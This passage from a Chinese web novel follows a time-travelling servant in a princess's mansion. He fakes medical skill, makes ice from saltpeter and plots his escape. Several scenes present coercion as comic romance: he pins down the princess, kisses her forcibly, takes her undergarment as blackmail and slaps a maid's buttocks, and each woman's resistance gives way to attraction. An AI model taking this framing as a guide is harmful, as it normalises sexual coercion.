季褚眼皮狂跳,一股不好的念头油然而生,赶紧说道:“回殿下,不知!” 砰! 李清瑶正好走到前面,抬腿便踹在了季褚肩上。 她还没想清楚要不要杀了季褚,可昨日之事,越想越气,不亲自教训季褚一顿,实难消她心头之恨。 不过,李清瑶也是头一次亲自动手,没甚经验,宽大的裙摆直接将季褚整个头都笼罩在其中。 连日酷暑又是在府内,李清瑶今日并未穿亵裤。 可不仅是两条修长白皙的长腿尽显无疑…… 季褚瞬间亚麻呆住,突然想明白她为何不与驸马同房。 这公主……克夫啊! 然而还不等季褚欣赏仔细,李清瑶腰间发力便将他踹翻在地,一抻裙摆,锋利的宝剑直刺季褚咽喉。 “公主,有话好好说……” “狗奴才,还公主别动,你是驸马,你好大的胆子,真当会吟几首隂诗,出几个诡计,本宫就不会杀你!” 李清瑶玉面狰狞,朱钗摇曳,尤其是那双冰肌玉骨的美腿更是无情,几乎要将季褚的肩膀踩碎。 季褚眼皮直跳,好么,他还以为刚刚用力过猛,出的计策触动了当权者的敏感神经,为了稳定所以想将他扼杀在摇篮里。 万万没想到,昨晚公主离开后会安排人偷听墙角。 当即把心一横,扭头躲开剑锋,双臂发力,紧紧抱住了对方的大腿,“公主,我冤啊……” 李清瑶高贵的身子何时被人碰过,况且还是抱腿,心下一乱就想把腿抽回,可那温软滑腻的触感让人爱不释手,季褚抱都抱上了,怎么可能松手。 李清瑶不仅没挣脱,反而借着惯性重重朝前扑去,季褚闷哼一声,直接被她压在了身下。 只一瞬间,所有的感官都被压在身上的软玉温香所占据。 即便袍服繁琐,面料用的多,可这年头的人少了那层托衬,惊人触感清晰可闻。 这身材……也太顶了! 馥郁馨香,直冲脑门。 李清瑶何时受过这等奇耻大辱,心里彻底乱做一团,当即惊呼出声,“大……” 季褚大惊,环住对方的腰就地一滚。 叮当一声。 宝剑落地发出一声脆响,那个胆字儿还没喊出来,他便吻上了公主的香唇。 第6章 哼,本宫的肚兜也是好拿的 时间仿佛在这一刻静止。 那双倾覆山河的媚眼,好似两簇跳动的火焰,灼烧着季褚的灵魂。 季褚死死按住对方手腕,整个人都压在了李清瑶身上,“公主,能不能好好说话?” “来……唔!”李清瑶凤眸圆睁。 谁给他的狗胆,竟然……亲一次还不够? “呜呜……呜呜呜……” 回过神来的李清瑶拼了命的挣扎,可季褚怕被乱刀砍成肉泥,怎么敢让她发出声音。 那种窒息的感觉,不一会儿便令李清瑶酸软无力,除了愤怒……竟然还隐隐有种莫名的情愫开始流动。 眼瞅着对方不再挣扎,季褚这才松嘴。 不过鼻尖一直抵着对方鼻尖,随时防备她喊人,“现在能否好好说话,公主殿下!” 李清瑶娇躯颤抖,声音却如淬了冰的刀刃,“狗,狗奴才,你可知触犯的是何等大罪?本宫乃堂堂公主,岂容你这卑贱之徒玷污!” “对啊,我是卑贱之徒,可我玷污了高高在上的长公主殿下,所以就是死,那也是我赚。”季褚无赖的说道。 “你……唔!” 该死……还来! 半晌过后。 季褚放开了气喘吁吁的李清瑶,“殿下昨日暗中监视,想来已经知晓我也是被逼无奈。驸马爷让我赶车带他去那小院,殿下教我,我一介马夫敢不从吗? 您贵为公主,也得讲理啊,你说对不对。” 本宫能说话吗? 本宫还敢说话吗? 李清瑶脸颊涨红,凤眸含煞,紧紧抿唇,愣是一个字都不敢说。 “我就知道长公主人美心善,你不说话我就当你是默认了。”季褚暗暗松了口气,他这完全就是在钢丝上跳舞,稍有不慎就得万劫不复。 人是制住了,接下来自然得晾一晾筹码。 “为了感谢公主不杀之恩,作为报答,以后殿下的事就是我季褚的事,您想帮太子登上皇位肯定缺钱,我可以帮公主赚钱。” 近在咫尺,季褚一直盯着李清瑶的眼睛。 李清瑶先是一喜,随即又是担忧,虽只是一闪即逝,但还是被季褚捕捉到了。 “我对公主绝对忠心耿耿,时间可以证明一切。反倒是公主殿下总是出尔反尔,为了自保,我尚且需要公主一物作为保命筹码。” 季褚说干就干,突然将李清瑶双手抬到头顶,腾出一只手掀开了李清瑶的裙摆。 李清瑶大惊失色,轻启朱唇欲再喊人,可嘴却再次被季褚堵住。 感受着那只大手肆无忌惮的在自己身上游走,李清瑶喉咙深处溢出一声极轻极轻、带着无尽复杂情绪的呢喃。有认命,有幽怨,有羞耻,或许……还有一丝连她自己都未曾明了的沉溺。 紧接着,自己的肚兜就出现在了季褚手中。 红色的云锦肚兜上秀着一只展翅翱翔的金凤,堪称艺术品。 这还不是重点,重点是季褚随意一团就塞进了怀中,意味深长道:“殿下若出尔反尔,我便立马当着众侍卫的面取出来,殿下也不想别人看到你的肚兜吧!” 闻言,李清瑶心中的杀意已经凝到了实质。 可笑。 多杀几人罢了,本宫会怕这种威胁,不过他这幅好色之徒的无赖模样,反倒是令李清瑶有了几分拿捏他的信心。 “你先放开本宫。” 季褚感觉也差不多了,毕竟凡事都有个度,松开手顺便将人搀扶起来,当然,脚也没闲着,稍一用力便将宝剑踢的远远的。 “滚开!”李清瑶推开季褚,快速整理了一下衣衫,发髻。 而就在这时,外面突然传来一阵骚乱。 “太子爷,请先容我通报。” “滚开……孤见皇姐,何需通报,皇姐,皇姐,大事不好……” “啊,太子爷,您不能硬闯……” 急促的脚步由远及近,李清瑶顿时花容失色,一指厅内屏风,“你先躲一下!” 万一被太子撞见她单独和男人在一起,肯定会产生诸多不必要的麻烦。 而且能令太子不顾威严,失了分寸,显然出了大事。 至于这该死的贱奴,哼,本宫的肚兜也是好拿的! 见季褚藏好,李清瑶一边快速修正衣冠,一边走向茶案,刚坐下,大门便被人用力推开。 只见一位面如冠玉,器宇轩昂的年轻人慌慌张张走了进来。 李清瑶凤眸微挑,挥退下人,这才不满说道:“康儿,你是当朝储君,这般失仪成何体统?莫非忘了母后临终前的交代,纵使天塌下来,也当稳如泰山,不可失了皇家威仪!” 太子李康刚要开口,看清李清瑶的妆容,顿时惊疑出声,“阿姊你平日最重仪表,今日怎得口脂都花了?” “咳,被蚊子叮到了唇上,揉花的。”李清瑶耳根一红,忙拿出手帕遮面拭唇,“说吧,何事能令你这般惊慌。” 闻言,李康这才想起正事,愤怒的咬牙切齿,“今日下朝,孤回东宫时恰好听到一太监正在和宫女议论本宫不能人道之事。 阿姊,你说父皇那边是不是已经知道了?” 李清瑶手腕一抖,“知晓此事的人尽皆灭口,不可能还有其他人知晓。” “混账,那肯定是三皇兄刻意安排让孤听见,乱孤心态,好让孤露出马脚。他日待孤登基,孤一定剐了他和那个妖后……” 屏风后。 季褚听的头皮发麻。 自己就是吃个瓜,现在成了瓜地里的猹了? 太子未婚,长枪已倒,这是何等悲哀! 可知道的人都被灭口了啊,现在堵耳朵还来得及吗? 他该不会穿到了唐僧剧本里吧,怎么一难接着一难,该不会被灭口吧! 这时李清瑶娇叱一声,打断了太子的滔滔不绝。 然而,季褚刚抬起手准备擦汗,就听太子继续说道。 “阿姊,那大婚之日替孤入洞房的人可曾找好?” “你先回去吧,这件事我自有计较,切记,今时不同往日,如今后宫之主乃是范皇后,你在宫中一定要谨言慎行,不要被人抓到把柄。” “孤晓得,外间之事还请阿姊费心。” “你我姐弟无需多言。” 李清瑶起身将李康送到门口,然后关闭了殿门,秀额微捶,余光扫向了屏风,“出来吧!” 淡淡的声音,听不出喜怒哀乐,可却听的季褚脖子发痒。 使劲搓了搓脸,才赔着笑,慢慢迈出了屏风,“公主……” 李清瑶端坐上首,指了指太子刚刚做过的地方,“坐!” “我还是站着吧!”季褚干笑两声。 李清瑶凤眸微挑,似笑非笑,“本宫打算让你代替太子,大婚之日与太子妃同房。” 季褚如遭晴天霹雳。 要血命了,果然,怕什么来什么。 第7章 龙蛋可安否?李清瑶:蛋,安! 季褚擦了擦额间冒出来的冷汗,“公主,这可使不得啊,我一介草民,如何敢亵渎天家贵女。” “难道本宫不是?你方才还说,为了感谢本宫不杀之恩,作为报答,以后本宫的事就是你季褚的事,还说对本宫忠心耿耿,难道都是在骗本宫?” “我……”季褚面皮一抽,“那不一样。” “哪里不一样?” 哪里都不一样! 我手里有你把柄,只要表现出足够的价值,让你看到利益,你就不舍得杀我。 可去睡太子妃,事后必会被灭口。 老子又不傻! 咋办? 咋办啊! 季褚脑子都干冒烟了。 要么说人都是被逼出来的呢,突然,脑子里好似有两根断掉的弦叮的一下接到了一块。 “回公主,太子一旦登基,太子妃肚子里的孩子必是未来储君,所以混淆皇家血脉的事万万不能做。” “本宫自然知晓,可你方才也都听到了,此等皇家秘辛绝不可外传,纵使本宫有心饶你一命,可也不敢赌呀!你不是一肚子阴谋诡计嘛,那你帮本宫想个法子。” “其实,某不只足智多谋,还略通医术。” 李清瑶眼前一亮,“当真?” 肯定是假的呗! “当真。”季褚把心一横说道,反正无论如何,也得先把这关过去再说。 距离太子大婚还有二十多天,他就不信了,二十多天时间,他还逃不出公主府这个老虎窝。 刷的一下。 李清瑶一撸袖子,将那皓白的手腕露了出来,“那你先帮本宫看看有何隐疾。” 季褚:…… “公主金枝玉叶,我先去沐浴焚香,回来再帮公主号脉!” 李清瑶似乎早就看穿了一切,微微挑了下下巴,“坐下号脉,否则,我现在就让人将你剁碎了喂狗!” 季褚这波属于是赶鸭子上架了,只能硬着头皮坐到对面,伸出三根手指搭在李清瑶手腕上。 闭目良久,让自己彻底冷静下来。 这才睁眼细细打量起面前这位大梁第一美人。 虽是一副清冷模样,可眸光流转间眼波欲流,媚态横生,仿佛能够摄人心魄,既有倾世之姿的雍容华贵,又带着蚀骨销魂的妖冶风情。 李清瑶被他看的浑身不自在,轻轻抽回手臂,很是自然的理了下额前散落的发丝。 举手投足间都透着一股刻如骨髓的优雅与媚态。 只不过语气却显得异常冰冷,“可曾看出什么?” 季褚又不是学医的,能看出个屁啊! 不过,李清瑶这等金枝玉叶,间隔几日就会请一次平安脉,要是有大病早就治了。 季褚倒是也不慌,认真道:“殿下肌肤白里透红,吹弹可破,实乃健康之色,不过……观其脉象,似有寒邪凝滞气血,经血不畅之兆。 不知公主天葵之时,是否小腹冷痛,得热痛减,经色紫暗有血块?” 李清瑶一脸震惊,错愕,难以置信。 难不成他还真懂医术? “何解!” 找个男人呗。 但季褚可不敢说,反而神秘的道:“容易,多喝热水!” 痛经这是女人的通病,李清瑶这个古人肯定也不能免俗。 而在季褚穿越前的那个时代,没什么是一句多喝热水不能解决的。 大姨妈来了,多喝热水。 感冒发烧,多喝热水。 伤心难过,多喝热水。 茶不思饭不想,还是多喝热水。 一句多喝热水,除了容易失去女朋友外,可治百病,他这样说也没啥问题。 “多喝热水?” “没错,平时多喝热水也大有益处,天葵之时加点红糖。” 见他说的信誓旦旦,李清瑶已然信了三分,甚至还多了一丝期待,“那太子的伤,你能治好?” “那得先知晓,龙蛋可安否?” “龙蛋为何物?” 季褚见她一副蠢萌蠢萌的模样,尴尬的恨不能把鞋子扣破。 双手握拳对碰,随即将两根食指缓缓抬起,顺便微微晃了一下拳头。 李清瑶的脸刷的一下红成了火球,狠狠瞪了季褚一眼,把头扭到一旁,“蛋,安!” “呼……”季褚暗暗松了口气。 蛋安好啊,怕的就是蛋不安。 “我有一法,可令太子妃顺利怀上皇嗣,但此法还需一些工具。” “什么工具?” “一个狗尿泡,几根鸡骨。” 普天之下还从未听闻哪位神医能治好这种病,李清瑶本以为季褚需要的工具是何等神奇的东西,正愁公主府能否找齐,没想到竟然如此简单。 “本宫如何信你?” “距离太子大婚还有二十天时间,我们可以先做实验。” “何为实验?” “额,就是格物,我们可以在猪身上做一次格物。” 砰的一声,李清瑶拍桌而起,怒斥道:“大胆,太子乃真龙之躯,岂能与那腌臜之物相提并论。” “哎呦我滴好公主,这就是一次简单的实验,只要我这法子能令老母猪能怀孕,自然也能令太子妃怀孕。”季褚吓的心脏砰砰直跳,赶忙安抚道:“况且,在不混淆皇家血脉的情况下,还有比这法子更好的办法吗?” 李清瑶算是听明白了,季褚压根治不好太子的病,不过是借用他所谓的格物工具帮助太子妃怀孕。 而且他说的也没错,如今确实没比这还好的法子了。 但一想到浑身腌臜的猪,还是忍不住问道:“可否把格物对象换成婢女?” 闻言,季褚第一个想到的就是竹儿,不过很快便打消了这个念头。 让猪怀孕,他手拿把掐,因为没穿越前他姥爷就是养猪的,小时候没少帮忙配猪。 可用配猪的办法配人……他还真没太大的把握。 毕竟,他出这样的主意,也不过是为了稳住李清瑶,好找机会带着怜香逃离公主府这个老虎窝。 “不可。”季褚认真道:“公主殿下,虽然您是金枝玉叶,可婢女也是女人啊,女人何苦难为女人。 清清白白身子,莫名其妙的怀孕,你让人家以后如何见人? 而且孩子一旦生出来,肯定也会遭受很多无端指责,那终究也是一条命啊!” 李清瑶眯了眯眼,“那便让你那怜香娘子生!” 季褚面皮一抽,好好好,你这么玩是吧? 第8章 长公主的画饼技术 “怜香命苦,卖去青楼就被灌了绝嗣药,想生也生不出……”季褚说道:“咱们只有二十多天的时间,从受孕到查出怀孕,母猪只需14天,人却需要更长时间,所以咱们还是选猪吧!” 李清瑶盯着他审视片刻,终究还是点了下头,“最好别骗我!” “不敢!” “嗯,季褚,你是聪明人,记住自己说过的话。你现在可是本宫的人,一荣俱荣的道理我就不讲了。管好嘴,做好事,本宫自然不会亏待有功之臣。” “谢公主赏!” “……” 俩人大眼瞪小眼。 季褚:赏赐呢? 李清瑶:没听懂本宫的话吗?不会亏待有功之臣,听清楚,有功,你立功了吗?本宫没有重重处罚已是格外开恩,竟然还敢讨赏,简直越来越放肆了。 “下去吧,赐怜香到本宫近前侍奉,至于你……那肚兜便赏你罢。 做得好,本宫提拔你做府令,正七品,从今以后,你也算是有官身的人了。” 大梁朝公主府,亲王府,堪比历朝之最,不仅拥有封地私军,还有开府建衙上朝议事的权利,这也是皇家以宗亲遏制世家权臣发展的手段之一。 府令相当于公主府大管家,像是财货,田园庄子,征封等一切事物都归府令管。官职不高,却非心腹不可当。 看似和县令同样都是七品,然,府令代表的是公主颜面,君就是君,臣就是臣,含面量绝对杠杠滴。 可那是在外面,长公主府一切事物两位大丫鬟女官说了算,府令说白了就是个摆设。 饼闻着香,但画的一点也不充饥! “殿下,其实当不当官不重要,重要的是格物场地,下人房人多眼杂的……要不,白天让怜香在身边伺候,晚上我们搬去昨日那个小院?”季褚试探道。 “那倒不必,偌大公主府自有你一席容身之地。”说着,李清瑶对着外面喊道:“来人!” 很快,几名女侍在韩江雪带领下鱼贯而入。 “竹儿,你带季府令下去安置一处小院,这几日你便跟在身边听用吧!” 此言一出,众人全都一副活见鬼的表情。 尤其是竹儿,清秀的小脸唰的一下失去了血色,赶忙盈盈一礼,“喏!” 李清瑶点点头,带着一丝微不可查的警告看向季褚,“季府令,关于任命本宫自会遣人去宗正府通知。 至于格物所需器物,你也尽可交代竹儿去置办。 何时格物,遣人来报,希望你不要辜负本宫的信任。” “喏!” “本宫乏了!”李清瑶摆了摆手,起身便朝后殿走去。 一直走出去很远,才突然想起什么,“妙云月事,尚余几日方尽?” 妙锦心头一跳。 好好的为何唤妙云,莫非是我这几日侍候的不够尽心? 当即委屈的跪在地上,“回殿下,按往常还需四日!” “起来吧!”李清瑶睨了对方一眼,“与她说,多喝热水,去库里取些红糖一道送去。” 众人:?? 妙锦愣了愣,立马起身感激道:“喏,奴婢带妙云谢过殿下关心。” 闻言,众人这才回过味儿来,看向李清瑶的眼神也越发的崇敬。 可李清瑶的心反而越发烦躁起来,走了几步突然问道:“本宫在你们眼中到底是个怎样的人?” “自是极好的!” “智慧,优雅!” “殿下倾国倾城,风华绝代!” “我倒是觉得季府令方才的诗,就很贴切……” …… 季褚拱着手,一直恭送公主远去,心里的大石头才算落地。 这一关算是过了,可即便他的法子能令太子妃怀上,找机会还是得逃! 李清瑶的喜怒无常打破了季褚的幻想。 此人实非明主,天知道会不会给自己来个,狡兔死,走狗烹。 逃。 必须得逃。 这样想着,他直起腰板,转过身正好迎上竹儿那双直勾勾盯着自己的小鹿眼。 有紧张,但更多的却是复杂。 嗯? 难不成是嘴上的口脂没擦干净? “竹儿姑娘,你怎么了?” 竹儿没由来的一哆嗦,赶忙低头,“府,府令大人,方才奴婢多有得罪之处,还请担待。” “嗨,多大点事儿,我又不是那种斤斤计较的人,都是为了公主服务。”季褚笑笑,“走吧,先带我去公主安排的小院。” 李清瑶安排贴身丫鬟在自己身边听用,说白了,就是安排一个眼线,随时监视自己的一举一动。 他想顺顺利利逃走,就必须先搞定这位大丫鬟。 “府令大人,请随奴婢来。” “何须这般见外。”季褚轻轻拉住对方小手,把原主仅有的一两碎银塞到了对方手里,“我说了,都是为公主服务,以后有需要小弟的地方,竹儿姐姐尽管开口。” 竹儿俏脸微红,赶忙把手抽回,羞赧的嗔了季褚一眼,转身就走,不过钱倒是收下了。 毕竟,他们梅兰竹菊四个贴身大丫鬟,一月也不过五两银子。 然而没走多远,二人便在路的尽头,遇上了带着恶仆,牵着狗来势汹汹的宋辉。 竹儿快步上前盈盈一礼,“见过驸马!” “汪汪汪……啊呜……汪……” “嗯!”宋辉轻抚狗头,面色不善的看向了季褚,“你这狗彘不如的贱奴,让爷好一番找,那匹踏雪乌骓可是花千金自龟兹国请来的神骏,拔根鬃毛都够买你十辈子的贱命,不守着宝马却在府内游荡,当真不知公主府规矩? 锁了!送去马厩,本驸马要让黑奴自教他规矩!” 黑奴:“汪汪汪……” 宋辉一挥手,几个凶神恶煞的恶奴立马朝着季褚扑来。 “放肆!”季褚呵斥一声,将竹儿挡在了身前,“某乃朝廷命官,公主亲封,公主府府令,谁给你们胆子以下犯上?” 众恶奴齐齐色变,看向了宋辉。 驸马虽然是主,可他们拿的却是公主府俸禄。 而且谁人不知,驸马在府里就是个吉祥物。 捉拿一无关紧要的马夫无关紧要,可让他们对公主亲封的府令大人动手,还真没那胆子。 只见宋辉一张脸阴沉的几乎可以滴出水来,“竹儿,他所言当真?” “回驸马,当真,还请驸马三思。” 三思? 本驸马何止三思,只剩下思了! 宋辉拳头捏的嘎嘎作响,今日你李清瑶这般辱我,他日求我,某定要打碎你的高贵,像是黑奴一般匍匐身前,舐之! 换以往,他绝无这般底气。 可今年天降大旱,夏粮歉收,各地都出现了不同程度的灾情,公主封地更是重灾区。 府邸开销,圈养私军,佃户减租,处处都得消耗大量钱粮。 公主府底蕴丰厚,历年积累本无伤及根本之虞。然而,恰逢太子大婚之际,如今后宫之主范皇后乃是三皇子生母,觐言梁皇,将此事全权交由长公主。 美其名曰:殿下懿德昭昭,持重如山,宜坤仪擎太子婚仪之鼎。 实则吃准了内帑空虚,皇帝必然应允,将太子大婚万钧靡费,全都转嫁给了长公主。 而太子大婚后便是万寿节,诸皇子献礼,必然奉上大量财货以争皇宠。 太子乃诸子之尊,献礼岂能少于其他皇子,这又是一大笔支出。 如此赤裸裸的阳谋,李清瑶不接也得接。 宋辉这个驸马别看只是吉祥物,但对公主府的财政状况了如指掌。 如今的公主府已然是入不敷出,哪怕李清瑶把太子大婚办的风风光光,之后的万寿节想要出彩,就必须来求他取得宋家支持。 他冷冷的朝着正殿看了一眼,随即一言不发,牵着黑奴转身就走,甚至连一个眼神都没再给季褚,妥妥的高位者对下人的蔑视。 他,等得起! 倒是几个恶仆,从凶神恶煞的铁背狼青,秒变摇尾讨好的哈巴狗。 见季褚挥了挥手,立马如获大赦匆匆离开。 “看来以后尽可能躲着这条疯狗点。” 季褚可不相信宋辉会轻易放过自己。 同为男人,季褚同情他的遭遇,但不认可宋辉这个人。 但话又说回来了,他这个府令虽然没有实权,更像是名义上的,可拿来唬人是真心不错。 嗯,好好利用一下,逃跑的几率又增大了不少呢! “走罢!” 第9章 请把贵臀翘起 竹儿引着季褚来到公主府西南角的一个小院。 两间正房,两侧各有一间耳房,中间的小院子也有个百八十平。 据说是以后给小郡主,小郡王开蒙先生准备的。 季褚倒是无所谓,他只关心住这里方不方便逃。 写好自己所需之物,趁着竹儿去帮他领东西,赶紧四下查看,但很可惜,前面边是亲事府典军驻地,负责公主府防卫,后面是账内府典军驻地,负责公主出行护卫。 嗯,前后夹击,就四个字,插翅难逃! 与此同时,竹儿已经回到了公主寝殿。 李清瑶慵懒的靠在榻上,屋里放着冰块,两侧有人扇风,身后还有人按压头部,简直要多享受就有多享受。 “殿下!” “嗯,说吧!” 竹儿赶忙掏出季褚贿赂给她银子,然后将季褚的表现包括遇上驸马,事无巨细的汇报了一遍。 李清瑶讥讽道:“二人全都睚眦必报,倒是有趣。” “季褚想要驸马那条恶犬,给还是不给?” “罢了,你派人去外间再寻一条给他,他做的那东西对本宫很重要。有事打发下人过来通报,没有要事不要让他离开你的视线,此人很难掌控,本宫总觉得他会想法子逃走,切勿疏忽!” “喏!” 竹儿点头,离开寝殿立马带着几个粗使丫鬟前往库房搬东西。 韩江雪收回视线,坐到下风处把剑往腿上一放,“殿下,既然安排了暗卫盯着,何必多此一举?只要他敢逃,立马拖回来打一顿即可,打上几次,我就不信他不老实听话。” 李清瑶微微摇头,叹息道:“此人诡计多端,就怕口服心不服,背地里使绊子。 那等阴险计策,现在想想依旧令本宫心惊胆战,先观察一段时间再说吧!” …… 小院这边。 有了竹儿和一众粗实丫鬟的帮忙,空荡荡的小院很快便从毛坯房变成了精装修。 紫檀梨木的家具,上等瓷器茶具,丝绸做的床上用品更是极尽奢华……处处透着皇家贵气,而且有个词儿叫“僭越”,有些东西根本不是有钱就能用的…… 该说不说,公主府高级员工的待遇是真不错。 若非保命要紧,季褚还真不舍得离开。 吃过午饭,他要的狗子和鸡也都送来了,让厨子取出自己所需之物,把剩下食材镇好晚上送去小院,回去后便开始制作简单的灌肠器。 这东西说难也难,说容易也容易。 没穿越前的那个世界,早在公元1世纪罗马时期,医学家凯尔苏斯便用动物膀胱制作出了灌肠器,其原理就是用压力,把清洗肠道的液体从菊部灌入。 灌肠也成为了中世纪医疗和保健的主要手段之一。 季褚之所以知道这么多,全赖他所从事的专业——十项全能男主播。 当网红,当主播,咋赚流量啊。 帅是形,不帅谁看?杂七杂八的知识是底儿,至少网友提出问题,你得接上话,不全懂,但不能不懂。 吸引眼球的俏活儿则是根。 就跟钓鱼一样,拿着鱼竿直接钓,没人看。 钓之前先被老婆呲哒一顿,或者先尝尝水里咸淡招呼一声有鱼,看的自然多。 同理,拿针管吹气球平平无奇,可若拿出存在于上古时期的自制针管吹气球,阁下只能直呼牛逼! 但……没有空调的房子是真鸡热啊! 现在都忍不了,晚上怜香回来,还怎么抱着她睡觉? 他有点怀念昨儿那个小屋了。宋辉舍得花钱,弄了很多冰,所以昨一整晚都没觉得热,反而还得盖被子。 看了看同样满头大汗,坐在一旁扇风的竹儿姑娘,“能否弄点冰来?” 单薄的纱裙紧紧贴在身上,倒是将那曼妙玲珑的身材展现的淋漓尽致,连白肚兜上坚韧不拔的翠竹都能看的清清楚楚。 竹儿直接赏了他一个大白眼,把头扭到一旁。 先前那是不知道怎么回事,季褚突然就被封为府令。 如今知晓了前因后果,又有了公主撑腰,自然又恢复了那副不假于色。 若非知晓公主很看重季褚现在制作的东西,她甚至都不愿意让季褚借光跟着沾凉风。 宫里每年分到府的冰都是有数的,公主平时都舍不得用太多,他竟然还想要冰。 什么档次呀,简直不知所谓。 “竹儿姐姐……”人在屋檐下不得不低头,季褚语气带上了几分诚恳。 “没有!”竹儿揶揄道:“你这般厉害,连公主都对你高看一眼,想要冰,可以自己想法子呀,说不定我还能跟着沾光呢!” 闻言,季褚一拍脑门,“对啊,我自己制不就好了。” “啊?”竹儿一脸懵,“你真的会制冰?” “制冰而已,这有何难。”季褚拍拍屁股站起身,忍归忍,可一想到竹儿无法端正的态度就来气,“不过,我若把冰制出来,你得答应我一个要求。” 见他一副信誓旦旦,竹儿倒也没有多想,“好,不过不能过分,也不能让我带你出府。” 制不出来没损失,制出来还能汇报给公主领功,反正怎么看自己都不会吃亏。 季褚心下一沉,这大丫鬟很难搞啊! 不动声色的笑笑,“府里有吃有喝,放心吧我不出府。” “那就好,如何制作?” “走,拿上碗筷,跟我来。” 半刻钟后。 茅房。 竹儿捏着鼻子一脸嫌弃,“你说的制冰就是来茅房?不知道的还以为我们拿着碗筷来用膳呢!” 季褚揶揄道:“我可没你那么好的胃口。” 说罢,立马走到墙角,小心翼翼将墙上那层厕硝刮到碗里,“你也别闲着,一起收集这种白色粉末。” 竹儿身为公主身边的大丫鬟,怎么可能干这种腌臜的活计,立马叫来几个下人帮忙。 人手一多,季褚索性也不干了,很快下人们便从府里各处收集了数十斤斤硝石土。 将硝石土溶于温水,过滤出杂质,然后加热蒸发…… 一顿操作猛如虎,最后得硝一袋二斤五。 回到住处,季褚便弄了个水盆放桌上,调好硝石水,又取一个小盆放好水蹲在里面。 “这就可以了?”竹儿全程参与,还以为能看到什么神鬼手段,没想到,就这? 季褚不怀好意的看着对方,“别忘了,答应我一个条件。” “嘁,结了冰再说。” 季褚把手伸进水盆,随即会心的笑了起来,“你摸摸!” “刚从井里打上来的水,自然是凉的。” “你仔细看盆体表面。” 竹儿低头仔细看去,就见黑褐色的盆体,以肉眼可见的速度结上了一层冰霜。 竹儿忍不住揉了揉眼睛,“真,真的结冰了……” “那是不是能兑现承诺了?”季褚道。 此刻竹儿只剩下了能立功的狂喜,死死盯着水盆里的水,“本姑娘说道做到,说!” “请把贵臀翘起!” “什么?” “请把屁股翘起来点……” 第10章 给大丫鬟干懵了 “什……什么?叫,叫我,翘起屁股?” 竹儿闻言,如遭雷击,白皙的俏脸蓦的一下红成了苹果,紧接着从脸颊蔓延到了耳根,连那纤细的脖颈都染上了一层诱人的粉色。 她呆愣愣的看着季褚,翘也不是,不翘也不是,突然想到了什么,端起桌上的水盆,就要砸死面前的登徒子,可那冰冰凉凉的触感,又令她砸也不是,不砸也不是。 竹儿手足无措,盆里的东西还要拿给公主请功,只能四下逡巡,找一合适武器打爆这个敢轻薄自己的登徒子狗头。 “竹儿姐姐,你该不会出尔反尔吧! 你说过,只要我把冰制出来,你便答应我一个条件。 人无信不立,你贵为殿下身边贴身婢女,连你都言而无信,如何管家好下人?” “我,我……”看着季褚那无赖模样,竹儿脸颊滚烫,索性一咬牙,不情不愿的转过身去,“翘就翘,你若敢轻薄于我,我立马去找公主告……” 啪的一声脆响。 还不等那个“状”字儿说出口,季褚的大巴掌已经落下。 季褚回味着掌心上残留的触感,就俩字通透。 “啊……你,你怎么下这么重的手!” 啪! 竹儿扶着桌子边缘,弯着腰,气的胸口剧烈起伏。 本来就因为紧张出了不少汗水,白皙的脸颊染着羞人绯色,几缕发丝黏在额角,更显几分狼狈的可爱。 她大口喘了两下,努力平息自己的怒火,可那强烈的羞耻,以及那巨大的酥麻令她恨不能立马扒掉季褚裤子,狠狠打回去。 但她也明白,季褚可是公主看重的人,生怕季褚还打,立马转身,用那白嫩的手指哆哆嗦嗦指了指季褚,愤愤道:“季褚,你,你给本姑娘等着……” “你还委屈上了?” 季褚突然正色起来,“我这也是为了你好!” “为我好?” 竹儿瞪圆了好看的眸子。 听听,打了我,还说为我好,这是人能说出来的话吗? 季褚认真的点点头,“首先,冰不是谁都能做的,做的好,这绝对会是咱公主府未来的一大财源,这一点你承不承认?” 竹儿整个人都懵了,但也觉得季褚说的在理,下意识点了下头。 季褚暗暗好笑,还想让个小丫头监视我,看我不把她忽悠瘸了…… 距离逃出虎窝又进一步。 “我叫你与我一同收集原料,就是担心泄密,可你是怎么做的?竟然把活儿安排给了下人。” “这……”竹儿有点羞愧了。 “还有最重要的一点,当着那么多下人的面,你对我又是什么态度? 我是谁,公主亲封,七品府令! 竹儿姐姐私底下直呼其名,我不挑你理,可在下人面前,你得叫我什么?” “额,府,府令大人?” 季褚使劲一拍巴掌,笑道:“对喽,所以我打你这两巴掌,就是为了让你长记性。 维护府里的上下尊卑,你我还需一起努力,否则全都以下犯上,岂不全乱套?” 竹儿恍然,秀色可餐的小脸,只剩下了羞赧,以及,几分做错事后的惴惴不安,“奴,奴婢知错,还请府令大人不要说与公主!” “无妨,都是为了公主府的稳定发展。” 别看她平时在府里都是训别的人主儿,可终究也只是个涉世未深的小丫头片子,面的对季褚这样老油条,脑子压根不够用。 甚至因为季褚大度不去公主面前告状,还觉得他人怪好的。 等冰制作好,便把冰盆端到了季褚旁边,手里的扇子都卖力了许多。 守着冰盆,屋里的气温总算没那么热了。 季褚也不藏私,一边手搓灌肠器,一边把制冰关键要素讲给竹儿听。 古代不像现代,想用冰打开冰箱就行,这个时候想用冰,就得先建一个冰窖,冬天开始囤积,但没有持续的冷源,冰会自然融化,所以哪怕是皇家,也做不到用冰自由。 正所谓物依稀为贵,这绝对是个大赚特赚的好买卖。 季褚先是应承下制作工具帮太子妃怀孕,又无私奉献,表现出一副进入状态,开始卖力为公主府某发展。说白了,就是要麻痹竹儿和长公主,来一出灯下黑,及早逃离这个虎窝。 他季褚多鸡贼,为了自己以后能过上娇妻美妾美滋滋的小日子,肯定有所保留,至少没把人工制硝的办法传给竹儿。 指着他们各处收集天然硝石,够用,但绝对做不到做大做强,卖出京城,卖往诸郡。 时间很快便来到了晚上,怜香也终于被人带回了小院。 而讨好了竹儿,自然好办事许多。厨房那边不仅将中午预留的狗子和鸡送到小院,连他要的几种调料一并找齐。 季褚索性在院子里升上了火堆,上面烤狗肉,火堆里还烧着用荷叶包裹的叫花鸡。 没办法。 这大梁不仅是诗词沙漠,更是连电子榨菜都找不出几道的美食绝地。 吃饭全靠一口釜,你敢信? 下人用大釜,公主用小釜吃的精细一些。 可那也是清水煮白菜的煮啊。 季褚工作之余最大的爱好就是美食,让他一直吃水煮菜,那不是要他命么,中午吃了一顿就不想吃了。 三个人一通忙乎,那小味儿嗷的一下就上来了,丝丝香气很快便弥漫出了小院,引来不少人围观,碍于院子里的竹儿,大家倒是也不敢多言。 “府令大人,此等美食,何不献于公主?” 本来竹儿只觉季褚做饭的手法格外“粗俗”,怕是也烹不出什么好味道。 